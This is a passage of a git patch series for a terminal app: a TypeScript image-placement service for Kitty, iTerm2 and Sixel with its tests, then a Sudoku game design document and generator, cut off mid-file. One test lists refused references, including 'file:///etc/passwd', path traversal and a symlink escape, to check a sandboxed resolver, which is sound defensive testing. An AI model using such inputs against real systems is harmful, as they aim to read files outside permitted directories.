this.cache.get(oldest)!; + this.cache.delete(oldest); + this.cacheSize -= gone.raster.data.length; + } + } + + // ---- placing ------------------------------------------------------------------------------------------------ + + place(image: LoadedImage, request: PlaceRequest): Placement { + const decision = this.host.decision(); + const source = request.crop ? cropRaster(image.raster, request.crop) : image.raster; + const cell = decision.cell; + const natural = {columns: Math.max(1, Math.ceil(source.width / cell.width)), rows: Math.max(1, Math.ceil(source.height / cell.height))}; + const limit = { + columns: Math.max(1, Math.min(request.columns, MAX_PLACEHOLDER_SPAN)), + rows: Math.max(1, Math.min(request.rows, MAX_PLACEHOLDER_SPAN)), + }; + const fit = fitCells(source.width, source.height, limit.columns, limit.rows, cell, Boolean(request.upscale)); + const box = {columns: Math.min(fit.columns, request.upscale ? fit.columns : Math.max(natural.columns, 1)), rows: Math.min(fit.rows, request.upscale ? fit.rows : Math.max(natural.rows, 1))}; + const mode = decision.backend; + const useText = request.surface === 'inline' || decision.inline === 'placeholder'; + + if (mode === 'off') return this.textPlacement(image, box, request.owner); + if (mode === 'kitty' && useText && decision.inline === 'placeholder') return this.kittyPlacement(image, source, box, cell, request); + if (request.surface === 'viewer' && (mode === 'kitty' || mode === 'iterm2' || mode === 'sixel')) return this.overlayPlacement(image, source, box, cell, request, mode); + return this.artPlacement(image, source, box, request.owner); + } + + private artPlacement(image: LoadedImage, source: Raster, box: {columns: number; rows: number}, owner: unknown): Placement { + const decision = this.host.decision(); + const art = renderCells(source, {columns: box.columns, rows: box.rows, mode: decision.unicode === 'ascii' ? 'ascii' : decision.unicode, color: this.host.color(), safe: this.host.safeGlyphs()}); + void image; + return {kind: 'character-art', columns: art.columns, rows: art.height, lines: art.rows, owner}; + } + + private textPlacement(image: LoadedImage, box: {columns: number; rows: number}, owner: unknown): Placement { + return {kind: 'text', columns: box.columns, rows: 1, lines: [`[image: ${image.name}]`], owner}; + } + + private kittyPlacement(image: LoadedImage, source: Raster, box: {columns: number; rows: number}, cell: {width: number; height: number}, request: PlaceRequest): Placement { + const key = `${image.key}|${cropKey(request.crop)}|${box.columns}x${box.rows}|${cell.width}x${cell.height}`; + let upload = this.uploads.get(key); + if (!upload) { + const target = this.uploadSize_(source, box, cell); + const png = encodePng(scaleBox(source, target.width, target.height), {level: 3}); + const id = this.allocateId(); + this.makeRoom(png.length); + this.host.send(`${kittyTransmit(png, id)}${kittyVirtualPlacement(id, box.columns, box.rows)}`); + upload = {id, bytes: png.length, owners: new Set(), at: 0}; + this.uploads.set(key, upload); + this.uploadSize += png.length; + } + upload.owners.add(request.owner); + upload.at = ++this.clock; + return {kind: 'kitty-placeholder', columns: box.columns, rows: box.rows, lines: placeholderRows(upload.id, box.columns, box.rows), owner: request.owner}; + } + + private overlayPlacement(image: LoadedImage, source: Raster, box: {columns: number; rows: number}, cell: {width: number; height: number}, request: PlaceRequest, mode: 'kitty' | 'iterm2' | 'sixel'): Placement { + const target = this.uploadSize_(source, box, cell); + const scaled = scaleBox(source, target.width, target.height); + const key = `${image.key}|${cropKey(request.crop)}|${box.columns}x${box.rows}|${mode}`; + let overlay: PlacementOverlay | undefined; + if (mode === 'sixel') { + const stream = encodeSixel(scaled, {maxColors: 256, dither: 'none'}); + overlay = {key, size: box, transmit: '', place: stream, cleanup: ''}; + } else { + const png = encodePng(scaled, {level: 3}); + const made: ImageOverlay | undefined = createImageOverlay(mode, png, key, 0, 0, box); + if (made) overlay = {key, size: box, transmit: made.transmit, place: made.place, cleanup: made.cleanup}; + else overlay = {key, size: box, transmit: '', place: iterm2Image(png, box, image.name), cleanup: ''}; + } + return {kind: 'overlay', columns: box.columns, rows: box.rows, lines: Array(box.rows).fill(' '.repeat(box.columns)), overlay, owner: request.owner}; + } + + /** The pixel size to upload for a cell box: the box at the terminal's cell size, never above the source or the upload cap. */ + private uploadSize_(source: Raster, box: {columns: number; rows: number}, cell: {width: number; height: number}): {width: number; height: number} { + let width = Math.min(source.width, box.columns * cell.width); + let height = Math.min(source.height, box.rows * cell.height); + const longest = Math.max(width, height); + if (longest > this.limits.uploadLongSide) { + width = Math.max(1, Math.round((width * this.limits.uploadLongSide) / longest)); + height = Math.max(1, Math.round((height * this.limits.uploadLongSide) / longest)); + } + return {width: Math.max(1, Math.round(width)), height: Math.max(1, Math.round(height))}; + } + + // ---- lifecycle ---------------------------------------------------------------------------------------------- + + private allocateId(): number { + this.nextId += 1; + if (this.nextId > PLACEHOLDER_ID_LIMIT) this.nextId = PLACEHOLDER_ID_BASE + 1; + return this.nextId; + } + + /** Delete the oldest uploads until `incoming` bytes fit under the cap. */ + private makeRoom(incoming: number): void { + while (this.uploadSize + incoming > this.limits.uploadBytes && this.uploads.size) { + let oldestKey: string | undefined; + let oldest = Infinity; + for (const [key, upload] of this.uploads) if (upload.at < oldest) { oldest = upload.at; oldestKey = key; } + if (oldestKey === undefined) break; + this.drop(oldestKey); + } + } + + private drop(key: string): void { + const upload = this.uploads.get(key); + if (!upload) return; + this.uploads.delete(key); + this.uploadSize -= upload.bytes; + this.host.send(kittyDeleteImage(upload.id)); + } + + /** Everything one surface showed: deleted from the terminal unless another owner still shows it. */ + releaseOwner(owner: unknown): void { + for (const [key, upload] of [...this.uploads]) { + upload.owners.delete(owner); + if (upload.owners.size === 0) this.drop(key); + } + } + + /** The terminal's images are gone (a program took the screen, or NMSh is exiting): forget and delete all. */ + releaseAll(): void { + for (const key of [...this.uploads.keys()]) this.drop(key); + this.uploads.clear(); + this.uploadSize = 0; + } + + /** A fullscreen program cleared the screen on its own: the terminal-side images are gone, so forget them without deleting twice. */ + forgetUploads(): void { + this.uploads.clear(); + this.uploadSize = 0; + } + + clearCache(): void { this.cache.clear(); this.cacheSize = 0; } + + stats(): {cached: number; cacheBytes: number; uploads: number; uploadBytes: number} { + return {cached: this.cache.size, cacheBytes: this.cacheSize, uploads: this.uploads.size, uploadBytes: this.uploadSize}; + } +} + +function cropKey(crop: PlaceRequest['crop']): string { + return crop ? `${crop.x.toFixed(4)},${crop.y.toFixed(4)},${crop.width.toFixed(4)},${crop.height.toFixed(4)}` : 'full'; +} + +/** A region (fractions of the image) as its own raster; clamped, at least one pixel. */ +export function cropRaster(source: Raster, crop: NonNullable): Raster { + const x = Math.max(0, Math.min(source.width - 1, Math.floor(crop.x * source.width))); + const y = Math.max(0, Math.min(source.height - 1, Math.floor(crop.y * source.height))); + const width = Math.max(1, Math.min(source.width - x, Math.round(crop.width * source.width))); + const height = Math.max(1, Math.min(source.height - y, Math.round(crop.height * source.height))); + if (x === 0 && y === 0 && width === source.width && height === source.height) return source; + const data = new Uint8ClampedArray(width * height * 4); + for (let row = 0; row < height; row += 1) { + const from = ((y + row) * source.width + x) * 4; + data.set(source.data.subarray(from, from + width * 4), row * width * 4); + } + return {width, height, data}; +} + +export { kittyDelete }; diff --git a/tests/graphicsService.test.ts b/tests/graphicsService.test.ts new file mode 100644 index 00000000..47a38722 --- /dev/null +++ b/tests/graphicsService.test.ts @@ -0,0 +1,200 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdirSync, mkdtempSync, rmSync, symlinkSync, utimesSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {BASELINE_CAPABILITIES, resolveHostCapabilities, type TerminalCapabilities} from '../src/host/capabilities.js'; +import {resolveProbeReplies} from '../src/host/probe.js'; +import {decideGraphics, type GraphicsDecision} from '../src/graphics/capabilities.js'; +import {containsKittyBytes, PLACEHOLDER_CHAR} from '../src/graphics/kittyPlaceholder.js'; +import {encodePng} from '../src/graphics/pngEncode.js'; +import {ImageError, type Raster} from '../src/graphics/raster.js'; +import {GraphicsService, cropRaster, type GraphicsHost} from '../src/graphics/service.js'; +import type {ColorLevel} from '../src/presentation/capabilities.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import {containsImageBytes} from '../src/presentation/ImageSurface.js'; + +const KITTY_OK = '\u001b_Gi=31;OK\u001b\\'; + +function raster(width: number, height: number, paint = (x: number, y: number): [number, number, number, number] => [x * 255 / Math.max(1, width - 1), y * 255 / Math.max(1, height - 1), 128, 255]): Raster { + const data = new Uint8ClampedArray(width * height * 4); + for (let y = 0; y < height; y += 1) for (let x = 0; x < width; x += 1) data.set(paint(x, y), (y * width + x) * 4); + return {width, height, data}; +} + +function fixture(options: {env?: NodeJS.ProcessEnv; replies?: string; mode?: GraphicsDecision extends never ? never : 'auto' | 'kitty' | 'iterm2' | 'sixel' | 'unicode' | 'off'; color?: ColorLevel; safe?: boolean; limits?: Partial[1]>} = {}) { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'gfx-')); + const env = options.env ?? {TERM_PROGRAM: 'ghostty'}; + const hints = resolveHostCapabilities(env); + const capabilities: TerminalCapabilities = options.replies !== undefined ? resolveProbeReplies(options.replies, hints, {extended: true}).capabilities : resolveProbeReplies(KITTY_OK, hints, {extended: true}).capabilities; + const sent: string[] = []; + const host: GraphicsHost = { + decision: () => decideGraphics({capabilities, env, mode: options.mode ?? 'auto', color: options.color ?? 'truecolor', safeGlyphs: options.safe ?? false, columns: 100, rows: 40}), + send: data => { sent.push(data); }, + scratchDir: () => join(dir, 'scratch'), + color: () => options.color ?? 'truecolor', + safeGlyphs: () => options.safe ?? false, + }; + const service = new GraphicsService(host, options.limits); + const write = (name: string, image: Raster) => { const file = join(dir, name); writeFileSync(file, encodePng(image)); return file; }; + return {dir, sent, service, write, done: () => rmSync(dir, {recursive: true, force: true})}; +} + +test('references: remote, data and escaping paths are refused; local ones resolve inside the root', async () => { + const f = fixture(); + try { + mkdirSync(join(f.dir, 'docs', 'img'), {recursive: true}); + mkdirSync(join(f.dir, 'outside')); + writeFileSync(join(f.dir, 'docs', 'img', 'a b.png'), encodePng(raster(2, 2))); + writeFileSync(join(f.dir, 'outside', 'secret.png'), encodePng(raster(2, 2))); + symlinkSync(join(f.dir, 'outside'), join(f.dir, 'docs', 'link')); + const base = join(f.dir, 'docs'); + const root = join(f.dir, 'docs'); + const ok = await GraphicsService.resolveReference('img/a%20b.png?raw=1#x', base, root); + assert.ok(ok.endsWith('docs/img/a b.png')); + for (const bad of ['https://example.com/x.png', 'http://x/y.png', 'data:image/png;base64,AAAA', 'file:///etc/passwd', 'ftp://x/y.png', '//host/x.png', '']) { + await assert.rejects(GraphicsService.resolveReference(bad, base, root), (error: unknown) => error instanceof ImageError && error.code === 'unsafe', bad); + } + await assert.rejects(GraphicsService.resolveReference('../outside/secret.png', base, root), /outside this document/u); + await assert.rejects(GraphicsService.resolveReference('link/secret.png', base, root), /outside this document/u, 'a symlink out of the root is followed to its real place and refused'); + await assert.rejects(GraphicsService.resolveReference(join(f.dir, 'outside', 'secret.png'), base, root), /outside this document/u); + await assert.rejects(GraphicsService.resolveReference('missing.png', base, root), (error: unknown) => error instanceof ImageError && error.code === 'unavailable'); + assert.ok((await GraphicsService.resolveReference('../outside/secret.png', base, f.dir)).endsWith('outside/secret.png'), 'a wider root allows it'); + } finally { f.done(); } +}); + +test('load: decodes, caches by file identity, reduces big images, refuses non-images', async () => { + const f = fixture({limits: {storeLongSide: 64, cacheImages: 2}}); + try { + const small = f.write('small.png', raster(8, 4)); + const big = f.write('big.png', raster(200, 100)); + const a = await f.service.load(small); + assert.deepEqual([a.info.format, a.info.width, a.info.height, a.raster.width], ['png', 8, 4, 8]); + assert.equal(await f.service.load(small), a, 'the same file is served from the cache'); + const b = await f.service.load(big); + assert.deepEqual([b.info.width, b.raster.width, b.raster.height], [200, 64, 32], 'stored reduced, header keeps the real size'); + writeFileSync(small, encodePng(raster(8, 4, () => [1, 2, 3, 255]))); + const future = new Date(Date.now() + 5000); + utimesSync(small, future, future); + assert.notEqual(await f.service.load(small), a, 'a changed file is decoded again'); + assert.ok(f.service.stats().cached <= 2, 'the cache keeps at most two images'); + writeFileSync(join(f.dir, 'not.png'), 'just text'); + await assert.rejects(f.service.load(join(f.dir, 'not.png')), (error: unknown) => error instanceof ImageError && error.code === 'unsupported'); + writeFileSync(join(f.dir, 'icon.svg'), ''); + await assert.rejects(f.service.load(join(f.dir, 'icon.svg')), /SVG is not rendered/u); + } finally { f.done(); } +}); + +test('Kitty: an inline image is uploaded once, placed as placeholders, shared by owners and deleted when the last owner leaves', async () => { + const f = fixture(); + try { + const image = await f.service.load(f.write('logo.png', raster(160, 80))); + const owner = {}; + const placement = f.service.place(image, {columns: 20, rows: 10, owner, surface: 'inline'}); + assert.equal(placement.kind, 'kitty-placeholder'); + assert.equal(placement.lines.length, placement.rows); + assert.deepEqual([placement.columns, placement.rows], [20, 5], '160x80 px at 8x16 cells is 20x5 cells'); + for (const line of placement.lines) { assert.equal(displayWidth(line), 20); assert.ok(line.includes(PLACEHOLDER_CHAR)); } + assert.equal(f.sent.length, 1); + assert.match(f.sent[0]!, /\u001b_Ga=t,f=100,t=d,i=\d+,q=2/u, 'uploaded as PNG'); + assert.match(f.sent[0]!, /\u001b_Ga=p,U=1,i=\d+,c=20,r=5,q=2/u, 'with a virtual placement'); + f.service.place(image, {columns: 20, rows: 10, owner, surface: 'inline'}); + assert.equal(f.sent.length, 1, 'the same box is not uploaded again'); + const other = {}; + f.service.place(image, {columns: 20, rows: 10, owner: other, surface: 'inline'}); + f.service.releaseOwner(owner); + assert.equal(f.sent.length, 1, 'another owner still shows it'); + f.service.releaseOwner(other); + assert.equal(f.sent.length, 2); + assert.match(f.sent[1]!, /^\u001b_Ga=d,d=I,i=\d+,q=2\u001b\\$/u, 'deleted, with its data'); + assert.equal(f.service.stats().uploads, 0); + } finally { f.done(); } +}); + +test('Kitty: upload memory is capped, the oldest upload is deleted first, and releaseAll empties the terminal', async () => { + const f = fixture({limits: {uploadBytes: 1000}}); + try { + const image = await f.service.load(f.write('noise.png', raster(64, 64, (x, y) => [(x * 37 + y * 11) & 255, (x * 5) & 255, (y * 91) & 255, 255]))); + const owner = {}; + f.service.place(image, {columns: 8, rows: 4, owner, surface: 'inline'}); + assert.equal(f.service.stats().uploads, 1); + f.service.place(image, {columns: 6, rows: 3, owner, surface: 'inline'}); + assert.equal(f.service.stats().uploads, 1, 'the second upload did not fit beside the first, which was deleted'); + assert.ok(f.sent.some(chunk => chunk.includes('a=d,d=I')), 'older uploads were deleted to stay under the cap'); + f.service.releaseAll(); + assert.equal(f.service.stats().uploads, 0); + const before = f.sent.length; + f.service.forgetUploads(); + assert.equal(f.sent.length, before, 'forgetting sends nothing'); + } finally { f.done(); } +}); + +test('character art: Zed, tmux, NO_COLOR and forced Unicode draw rows of exactly the placed width and emit no graphics bytes', async () => { + const cases: Array<[string, Parameters[0]]> = [ + ['zed', {env: {TERM_PROGRAM: 'zed'}, replies: ''}], + ['tmux', {env: {TERM_PROGRAM: 'ghostty', TMUX: '/tmp/x,1,0'}}], + ['no color', {color: 'none'}], + ['forced unicode', {mode: 'unicode'}], + ['safe glyphs on a terminal without graphics', {env: {TERM_PROGRAM: 'zed'}, replies: '', safe: true}], + ['ansi16', {color: 'ansi16', env: {TERM_PROGRAM: 'zed'}, replies: ''}], + ]; + for (const [name, options] of cases) { + const f = fixture(options); + try { + const image = await f.service.load(f.write('photo.png', raster(240, 120))); + const placement = f.service.place(image, {columns: 30, rows: 12, owner: {}, surface: 'inline'}); + assert.equal(placement.kind, 'character-art', name); + assert.equal(placement.lines.length, placement.rows, name); + for (const line of placement.lines) assert.equal(displayWidth(stripAnsi(line)), placement.columns, name); + assert.equal(f.sent.length, 0, `${name}: nothing was written to the terminal`); + assert.equal(placement.lines.some(line => containsKittyBytes(line) || containsImageBytes(line)), false, name); + if (name.startsWith('safe glyphs')) assert.ok(placement.lines.every(line => /^[\x20-\x7e]*$/u.test(stripAnsi(line))), 'Safe Glyphs: printable ASCII only'); + } finally { f.done(); } + } +}); + +test('off: a placeholder line names the image; nothing is decoded into cells or sent', async () => { + const f = fixture({mode: 'off'}); + try { + const image = await f.service.load(f.write('x.png', raster(10, 10))); + const placement = f.service.place(image, {columns: 20, rows: 10, owner: {}, surface: 'inline'}); + assert.deepEqual([placement.kind, placement.lines], ['text', ['[image: x.png]']]); + assert.equal(f.sent.length, 0); + } finally { f.done(); } +}); + +test('viewer surface: iTerm2 and Sixel give overlays the app positions; zoom crops; small images are not enlarged unless asked', async () => { + const iterm = fixture({env: {TERM_PROGRAM: 'iTerm.app'}, replies: ''}); + try { + const image = await iterm.service.load(iterm.write('p.png', raster(160, 80))); + const placement = iterm.service.place(image, {columns: 60, rows: 30, owner: {}, surface: 'viewer'}); + assert.equal(placement.kind, 'overlay'); + assert.match(placement.overlay!.place, /\u001b\]1337;File=/u); + assert.deepEqual([placement.columns, placement.rows], [20, 5], 'not enlarged beyond its own pixels'); + const enlarged = iterm.service.place(image, {columns: 60, rows: 30, owner: {}, surface: 'viewer', upscale: true}); + assert.ok(enlarged.columns > 20); + const zoomed = iterm.service.place(image, {columns: 60, rows: 30, owner: {}, surface: 'viewer', crop: {x: 0, y: 0, width: 0.5, height: 0.5}}); + assert.deepEqual([zoomed.columns, zoomed.rows], [10, 3]); + assert.notEqual(zoomed.overlay!.key, placement.overlay!.key); + } finally { iterm.done(); } + const sixel = fixture({env: {TERM_PROGRAM: 'unknown'}, replies: '\u001b[?62;4c'}); + try { + const image = await sixel.service.load(sixel.write('p.png', raster(32, 32))); + const placement = sixel.service.place(image, {columns: 20, rows: 10, owner: {}, surface: 'viewer'}); + assert.equal(placement.kind, 'overlay'); + assert.match(placement.overlay!.place, /^\u001bP0;/u); + assert.equal(sixel.sent.length, 0, 'an overlay is written by the renderer, not by the service'); + const inline = sixel.service.place(image, {columns: 20, rows: 10, owner: {}, surface: 'inline'}); + assert.equal(inline.kind, 'character-art', 'Sixel is a standalone surface only; documents get character art'); + } finally { sixel.done(); } +}); + +test('cropRaster clamps and copies exactly the region', () => { + const source = raster(4, 4, (x, y) => [x * 10 + y, 0, 0, 255]); + const piece = cropRaster(source, {x: 0.5, y: 0.5, width: 0.5, height: 0.5}); + assert.deepEqual([piece.width, piece.height], [2, 2]); + assert.equal(piece.data[0], 2 * 10 + 2); + assert.equal(cropRaster(source, {x: 0, y: 0, width: 1, height: 1}), source); + const clamped = cropRaster(source, {x: 0.9, y: 0.9, width: 5, height: 5}); + assert.ok(clamped.width >= 1 && clamped.height >= 1 && clamped.width <= 4); + void BASELINE_CAPABILITIES; +}); From a1ff619e657cc06ad1e75ea04264c9067df26677 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:46:41 +0530 Subject: [PATCH 117/157] Classic Sudoku: seeded generator with an independent solver, notes, hints, undo, saved puzzle, responsive themed board --- docs/design/arcade-sudoku.md | 144 +++++++++ src/arcade/games/sudoku/generator.ts | 71 +++++ src/arcade/games/sudoku/index.ts | 354 ++++++++++++++++++++- src/arcade/games/sudoku/layout.ts | 94 ++++++ src/arcade/games/sudoku/record.ts | 120 +++++++ src/arcade/games/sudoku/solver.ts | 201 ++++++++++++ src/arcade/games/sudoku/state.ts | 206 ++++++++++++ src/arcade/games/sudoku/view.ts | 294 +++++++++++++++++ tests/arcadeSudokuGame.test.ts | 460 +++++++++++++++++++++++++++ tests/arcadeSudokuLogic.test.ts | 249 +++++++++++++++ tests/support/arcadeSudokuSupport.ts | 6 + 11 files changed, 2193 insertions(+), 6 deletions(-) create mode 100644 docs/design/arcade-sudoku.md create mode 100644 src/arcade/games/sudoku/generator.ts create mode 100644 src/arcade/games/sudoku/layout.ts create mode 100644 src/arcade/games/sudoku/record.ts create mode 100644 src/arcade/games/sudoku/solver.ts create mode 100644 src/arcade/games/sudoku/state.ts create mode 100644 src/arcade/games/sudoku/view.ts create mode 100644 tests/arcadeSudokuGame.test.ts create mode 100644 tests/arcadeSudokuLogic.test.ts create mode 100644 tests/support/arcadeSudokuSupport.ts diff --git a/docs/design/arcade-sudoku.md b/docs/design/arcade-sudoku.md new file mode 100644 index 00000000..9677dd74 --- /dev/null +++ b/docs/design/arcade-sudoku.md @@ -0,0 +1,144 @@ +# Classic Sudoku + +`/game sudoku` (alias `classic-sudoku`). A calm 9x9 puzzle in four difficulties with unlimited fresh puzzles, pencil notes, +hints, undo and a saved puzzle in progress. Code: `src/arcade/games/sudoku/`. + +| File | Responsibility | +|---|---| +| `solver.ts` | Rules and an independent solver: units and peers, conflicts, candidate bitmasks, backtracking that counts solutions up to a limit, naked and hidden singles. No drawing, no clock. | +| `generator.ts` | Seeded puzzle generator (see below). | +| `state.ts` | Puzzle state: clues, entries, notes, cursor, undo/redo, hints, restart. | +| `record.ts` | Record schema v1: validation on load, statistics, the hub summary, time formatting. | +| `layout.ts` | Board geometry: the largest cells that fit, HUD beside or above. | +| `view.ts` | Drawing: board, HUD, start menu, completion band. | +| `index.ts` | The `GameDefinition` and the instance that wires keys, the clock, effects and persistence. | + +## Rules and controls + +Fill every row, column and 3x3 box with 1-9 once. Given clues cannot be changed, erased or annotated. + +| Key | Action | +|---|---| +| arrows, `h` `j` `k` `l` | move the cursor | +| `1`-`9` | enter a digit (a pencil mark in notes mode) | +| `0`, Backspace, Delete | erase the digit, or the notes when the cell has no digit | +| `n` | toggle notes mode | +| `u` | undo | +| `y`, Ctrl+Y | redo | +| `t` | hint | +| `r` (twice) | restart this puzzle from its clues | +| `m` | back to the start menu (the puzzle is kept; Continue resumes it) | +| Esc / `p` | pause (handled by the host), Esc in the start menu leaves | + +The start menu (the game's own `Menu`) offers Continue (when an unfinished puzzle is saved), Easy, Medium, Hard, Expert +(keys `1`-`4`) and Back to Arcade (`q`). Each choice makes a new puzzle from `context.rng`. + +- **Notes.** Placing a digit clears that cell's notes and strikes the digit from its peers' notes (one undo step). + Notes can only be added to empty cells. +- **Conflicts.** A digit that repeats in a row, column or box is flagged on every cell involved with a `!` glyph, bold + warning color and a "N clashes" counter. Conflicts are judged by the rules only, never by comparing with the solution, + so the game does not leak the answer. +- **Matching digits.** Cells holding the cursor cell's digit are underlined and tinted; the cursor's row, column and box + get a soft tint. +- **Hints (`t`).** A hint fills one cell with its correct digit and says why in one line ("R3C5 is 4: only 4 fits this + cell", "the only 4 left in its box"). The target is the cursor cell when it is empty or wrong; otherwise the next cell a + naked or hidden single settles (computed from the clues plus the entries that are correct); otherwise the first open + cell. A hint counts once, is one undo step, and writes only to the player's entries: the clue and solution arrays are + never touched. A win with any hint is never a personal best. +- **Completion.** When the grid is a valid complete solution the clock stops, statistics are saved and the saved puzzle is + cleared. With effects on, a short celebration plays first inside the game (a "Solved" band with the time, three quiet + fountains of `ParticleSystem` confetti, softly lit finished rows/columns/boxes while playing), then the status becomes + `won` and the arcade's card shows the result (`3:07`, difficulty, hints, best time, streak, "New record" when earned). + Reduced motion or effects off skip the celebration and win at once. Any key skips it. + +## Clock + +`step()` does nothing. The timer runs from `animate(dt)` only while a puzzle is being played; a single tick is capped at +2 s so a suspended terminal cannot bank time. `refreshMs` is 1000 so the host repaints the clock, and 80 while an entry +pop, a glow, confetti or the resume frame needs animation. `pause()` saves the puzzle and hides the board (the grid +frame stays, no digits or notes are drawn) so pausing cannot be used to think. The host +resumes without telling the game, so the first `animate()` after `pause()` is the resume tick: it clears the pause and +adds no time. + +## Generation + +Decision: **own generator; `sudoku-gen` is not used and is not a dependency.** `sudoku-gen@1.0.3` (MIT) was evaluated by +running 200 puzzles per difficulty through the independent solver: + +| sudoku-gen | valid / unique | clues (min-max, avg) | solvable by singles | by naked singles only | +|---|---|---|---|---| +| easy | 200/200 | 36-39, 37.6 | 200 | 147 | +| medium | 200/200 | 30-32, 30.4 | 200 | 112 | +| hard | 200/200 | 23-28, 25.5 | 56 | 0 | +| expert | 200/200 | 22-23, 22.7 | 0 | 0 | + +Its puzzles are correct, but it draws from a fixed pool of 40 base puzzles (10 per difficulty) and relabels/permutes them +with `Math.random`, which cannot be seeded: the same seed could not give the same puzzle, and the clue counts and +techniques do not form a clean ladder (easy and medium both mix naked-only and hidden-single puzzles). The arcade +requires all randomness to come from `context.rng`, so the project generates its own. + +The generator (`generatePuzzle(difficulty, rng)`): build a random solved grid by randomized backtracking, then remove +clues in 180-degree pairs (a tidy pattern) in random order, keeping a removal only while the puzzle is still solvable the way +the difficulty demands, and stop at a random clue count in the difficulty's range once the technique requirement holds. +Up to 40 attempts; if none meets the profile, the closest is returned (still unique and valid). + +| Difficulty | Clue range | Must be solvable by | Must not be solvable by | +|---|---|---|---| +| Easy | 38-44 | naked singles | | +| Medium | 32-36 | singles (naked + hidden) | naked singles alone | +| Hard | 27-31 | singles | naked singles alone | +| Expert | 22-27 | (unique only) | singles | + +Singles-solvable implies a unique solution; Expert is checked with `countSolutions(grid, 2) === 1`. Measured over 200 +seeded puzzles per difficulty: Easy 37-44 clues (avg 40.4), Medium 30-36 (32.0), Hard 26-31 (28.6), Expert 24-28 (26.1), +all unique; Easy 200/200 naked-single solvable, Medium and Hard 200/200 singles-only and 0 naked-only, Expert 0 singles-only. +Generation takes about 0.2 ms (Easy) to 8 ms (Expert) on average, 70 ms worst case seen. + +## Layout and accessibility + +The board uses the largest cell size that fits: 7x3 cells with full grid lines (73x37) down to 2x1 cells (20x11), with +heavier lines and a subtle alternating tint for the 3x3 boxes. The HUD (title, difficulty, timer, hints, notes state, +clash count, remaining count per digit, status message) sits beside the board when 22+ columns remain, otherwise above +it. Below 20x13 the game prints "Needs at least 20x13". + +Nothing depends on color: clues are bold and entries are plain; the cursor is reverse video with `[ ]` brackets; conflicts +carry `!`; matching digits are underlined; notes mode is spelled out ("Notes ON"); notes show as small digits (or a dot in +tiny cells); remaining digits are numbers with a check mark when complete. Safe Glyphs replace box-drawing with ASCII +(`#` and `=` for box lines, `:` and `-` for cell lines, `+` for joints), and the start menu draws the ASCII cat. Colors +come from `ArcadePalette` only. Reduced motion or effects off remove the entry pop, the glow, confetti and the celebration. + +## Record schema (v1, `arcade.json` under `sudoku`) + +``` +{version: 1, + bestTimes: {easy, medium, hard, expert: seconds}, + completed, completedByDifficulty: {easy, medium, hard, expert}, streak, bestStreak, + current?: {difficulty, puzzle: 81 chars ('0' empty), solution: 81 chars, entries: 81 chars (player digits only), + notes: 81 numbers (9-bit masks), elapsedMs, hints}} +``` + +No timestamps. `readRecord` validates every field; `current` is dropped silently unless the lengths and alphabets are +right, the solution is a valid complete grid, the clues match it, the puzzle has exactly one solution, entries and notes +avoid clue cells and filled cells, the numbers are bounded integers, and the grid is not already finished. An unknown +`version` is ignored. The puzzle is saved on `pause()`, `persist()`, the menu key and when a puzzle starts; finishing +clears it, and a finished or `over` state is never written. The streak counts puzzles finished in a row; starting a new +puzzle while the saved one has progress ends it (restart and hints do not). A best time is recorded only for a win with +no hints, and the first such win at a difficulty counts. + +## Tests + +`tests/arcadeSudokuLogic.test.ts`: solver counts and agreement; 200 seeded puzzles per difficulty are unique, valid, within +their clue range and obey the technique profile; determinism per seed; clue immutability; notes behavior; undo/redo round +trip; conflicts; hints never change clues or the stored solution, are counted and undoable; restart; record round trip +through the store's `cleanRecord`; a dozen corrupt records discarded; best-time and streak rules. +`tests/arcadeSudokuGame.test.ts`: menu and keys, timer and pause (board hidden), restart versus new game, completion +(celebration, result, record, saved puzzle cleared), reduced motion/effects off, confetti, streak, Continue across +sessions (in memory and through the real store), corrupt saves, layout sweep 20x8 to 200x60 (rows within width, board +inside the canvas, all clues visible or the "Needs at least" note), HUD contents, NO_COLOR and Safe Glyph encodings, a render +time bound, and a pass through `ArcadeSession` (pause, resume, win to the result card). These tests do not replace play. + +## Limits + +No puzzle sharing or entering a puzzle by hand; techniques beyond singles are not explained by hints; the difficulty is +graded by clue count and the weakest sufficient technique, not by a full human-style rating. The completion confetti is +drawn over the board for under two seconds. Real terminals, text sizing and long play sessions still need physical checks. diff --git a/src/arcade/games/sudoku/generator.ts b/src/arcade/games/sudoku/generator.ts new file mode 100644 index 00000000..2c5b036c --- /dev/null +++ b/src/arcade/games/sudoku/generator.ts @@ -0,0 +1,71 @@ +import type {Rng} from '../../rng.js'; +import {CELLS, countSolutions, randomSolved, solveBySingles, type Grid} from './solver.js'; + +export type Difficulty = 'easy' | 'medium' | 'hard' | 'expert'; +export const DIFFICULTIES: readonly Difficulty[] = ['easy', 'medium', 'hard', 'expert']; +export const DIFFICULTY_LABEL: Readonly> = {easy: 'Easy', medium: 'Medium', hard: 'Hard', expert: 'Expert'}; + +/** + * What each difficulty asks of the generator: a clue range and the weakest technique that must be enough. + * - singles: how the puzzle must be solvable by deduction alone (naked = cells with one candidate only, + * hidden = also digits with one place in a unit, none = any unique puzzle). + * - needsHidden / beyondSingles: it must not fall to the weaker technique, so each level really is harder. + */ +interface Profile { min: number; max: number; singles: 'naked' | 'hidden' | 'none'; needsHidden: boolean; beyondSingles: boolean } +export const PROFILES: Readonly> = { + easy: {min: 38, max: 44, singles: 'naked', needsHidden: false, beyondSingles: false}, + medium: {min: 32, max: 36, singles: 'hidden', needsHidden: true, beyondSingles: false}, + hard: {min: 27, max: 31, singles: 'hidden', needsHidden: true, beyondSingles: false}, + expert: {min: 22, max: 27, singles: 'none', needsHidden: true, beyondSingles: true}, +}; + +export interface Puzzle { puzzle: Grid; solution: Grid; difficulty: Difficulty } + +const ATTEMPTS = 40; + +function acceptable(grid: Grid, profile: Profile): boolean { + if (profile.singles === 'naked') return solveBySingles(grid, false).solved; + if (profile.singles === 'hidden') return solveBySingles(grid, true).solved; + return countSolutions(grid, 2) === 1; +} + +function meets(grid: Grid, profile: Profile): boolean { + if (profile.beyondSingles && solveBySingles(grid, true).solved) return false; + if (profile.needsHidden && !profile.beyondSingles && solveBySingles(grid, false).solved) return false; + return true; +} + +/** + * A fresh puzzle with exactly one solution. A random solved grid loses clues two at a time (a cell and its 180 degree + * partner, so the pattern looks tidy) while the puzzle stays solvable the way the 